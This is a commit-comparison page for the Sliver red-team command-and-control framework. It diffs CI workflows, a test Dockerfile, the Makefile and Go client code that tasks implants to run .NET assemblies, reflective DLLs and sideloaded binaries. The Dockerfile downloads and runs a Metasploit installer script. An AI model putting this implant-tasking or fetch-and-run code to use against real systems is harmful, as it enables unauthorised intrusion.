Compare commits

..
16 Commits
Author SHA1 Message Date
moloch-- 1e8413a2fe merge master 2022-01-23 14:50:23 -06:00
moloch-- 336e944aee Merge branch 'stage' into winhttp2 2022-01-18 15:31:41 -06:00
moloch-- b0ff16aff9 Fix typo 2021-12-23 13:51:38 -06:00
moloch-- 18137f630b Merge branch 'stage' into winhttp2 2021-12-23 13:51:16 -06:00
moloch-- beab818baf implemented wininet 2021-12-23 12:58:59 -06:00
moloch-- 16a539807b wip: wininet 2021-12-23 12:31:03 -06:00
moloch-- d13a8a1e91 check for nil body 2021-12-23 12:28:49 -06:00
moloch-- 7ab136339e Convert to/from stdlib http request/responst 2021-12-23 10:22:13 -06:00
moloch-- 2e3c33689a Refactoring win pkg 2021-12-23 10:14:20 -06:00
moloch-- 8891c542b8 Fork of https://gitlab.com/mjwhitta/win/ 2021-12-23 09:51:42 -06:00
moloch-- bfe3d6dfb5 Better server side poll timeout defaults 2021-12-23 09:41:54 -06:00
moloch-- fb573bb122 Correctly convert request path 2021-12-23 08:54:39 -06:00
moloch-- f780f70318 Fix various build-time errors 2021-12-23 08:36:36 -06:00
moloch-- 12c6a57362 implemented configurable http drivers per platform 2021-12-23 08:03:48 -06:00
moloch-- afc8ccd61d initial winhttp support 2021-12-23 07:33:53 -06:00
moloch-- 5b3f1eeb7b wip: Initial winhttp support 2021-12-22 16:38:55 -06:00
1161 changed files with 198028 additions and 920538 deletions

No files matched your search

+35 -44
View File
@@ -3,7 +3,7 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master, goreleaser]
branches: [master]
jobs:
@@ -14,10 +14,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -35,8 +35,6 @@ jobs:
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
@@ -46,11 +44,7 @@ jobs:
path: ./sliver-*
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v2
@@ -65,10 +59,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
@@ -83,14 +77,10 @@ jobs:
run: ./go-assets.sh
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
# - name: Make ARM64
# run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
@@ -108,18 +98,10 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- run: mkdir -p ./release && mkdir -p ./artifacts
- uses: actions/download-artifact@v2
with:
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
path: ./artifacts
- id: install-secret-key
name: GPG Key(s)
@@ -127,34 +109,43 @@ jobs:
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Release
run: mkdir -p ./release
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
prerelease: false
files: |
./artifacts/*
./release/*
+2 -2
View File
@@ -17,10 +17,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: "^1.18"
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v2
+4 -9
View File
@@ -6,11 +6,6 @@ on:
pull_request:
branches:
- master
types:
- opened
- reopened
- synchronize
- ready_for_review
jobs:
@@ -20,10 +15,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -55,10 +50,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
-2
View File
@@ -40,5 +40,3 @@ sliver-server-windows.zip
.glide/
.DS_Store
dist/
+16 -16
View File
@@ -1,4 +1,4 @@
FROM golang:1.18
FROM golang:1.17.6
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.18
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 3.19.4
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
ENV PROTOC_VER 3.17.1
ENV PROTOC_GEN_GO_VER v1.26.0
ENV GRPC_GO v1.1.0
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
#
# > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
+17 -19
View File
@@ -3,7 +3,6 @@
#
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
@@ -23,16 +22,16 @@ GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 18
MIN_SUPPORTED_GO_MINOR_VERSION = 17
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
@@ -90,9 +89,7 @@ ifeq ($(MAKECMDGOALS), linux)
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
endif
#
@@ -100,28 +97,28 @@ endif
#
.PHONY: default
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
.PHONY: linux
linux: clean validate-go-version
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: windows
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
.PHONY: pb
pb:
@@ -152,4 +149,5 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server sliver-*.exe
+1 -5
View File
@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -40,10 +40,6 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
-4
View File
@@ -33,8 +33,6 @@ type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
}
// LoadSettings - Load the client settings from disk
@@ -57,8 +55,6 @@ func defaultSettings() *ClientSettings {
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
}
}
+21 -97
View File
@@ -32,11 +32,9 @@ import (
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
@@ -66,14 +64,12 @@ type loadedAlias struct {
Command *grumble.Command
}
// AliasFile - An OS/Arch specific file
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
// AliasManifest - The manifest for an alias, contains metadata
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
@@ -158,13 +154,10 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Help: helpMsg,
LongHelp: longHelpMsg,
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
@@ -237,27 +230,17 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
return
}
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
return
@@ -272,14 +255,14 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
entryPoint := aliasManifest.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
processName, err = aliasManifest.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
@@ -289,17 +272,14 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if aliasManifest.IsAssembly {
// Execute Assembly
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -320,24 +300,12 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, executeAssemblyResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
})
con.PrintAsyncResponse(executeAssemblyResp.Response)
} else {
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if aliasManifest.IsReflective {
// Spawn DLL
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -351,28 +319,18 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawnDllResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
})
con.PrintAsyncResponse(spawnDllResp.Response)
} else {
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -387,54 +345,20 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if sideloadResp.Response != nil && sideloadResp.Response.Async {
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideloadResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
})
con.PrintAsyncResponse(sideloadResp.Response)
} else {
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
+5 -24
View File
@@ -88,10 +88,7 @@ var (
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
@@ -226,7 +223,8 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
if con.Settings.SmallTermWidth < width {
minWidth := 150
if minWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
@@ -281,7 +279,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
if con.Settings.SmallTermWidth < width {
if minWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
@@ -315,26 +313,9 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
if len(bundle.Packages) < 1 {
continue
}
packages := bundle.Packages[0]
if 1 < len(packages) {
packages += ", "
}
for index, pkgName := range bundle.Packages[1:] {
if index%5 == 4 {
packages += pkgName + "\n"
} else {
packages += pkgName
if index != len(bundle.Packages)-2 {
packages += ", "
}
}
}
tw.AppendRow(table.Row{
bundle.Name,
packages,
strings.Join(bundle.Packages, ", "),
})
}
con.Printf("%s\n", tw.Render())
+3 -4
View File
@@ -30,7 +30,6 @@ import (
"net/url"
"path"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -417,7 +416,6 @@ func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConf
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
defer latestRedirect.Body.Close()
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
@@ -457,8 +455,9 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
IdleConnTimeout: time.Millisecond,
Proxy: http.ProxyURL(config.ProxyURL),
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
+12 -12
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
"golang.org/x/crypto/ssh/terminal"
)
// BeaconsCmd - Display/interact with beacons
@@ -46,7 +46,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, ctx, con)
err = kill.KillBeacon(beacon, false, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -62,7 +62,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, ctx, con)
err = kill.KillBeacon(beacon, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -92,14 +92,14 @@ func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
width, _, err := terminal.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if con.Settings.SmallTermWidth < width {
if 182 < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -134,13 +134,13 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
nextCheckin := time.Unix(beacon.NextCheckin, 0)
var next string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Since(nextCheckin)
past := time.Now().Sub(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
eta := time.Until(nextCheckin)
eta := nextCheckin.Sub(time.Now())
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
if con.Settings.SmallTermWidth < width {
if 182 < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -148,9 +148,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
} else {
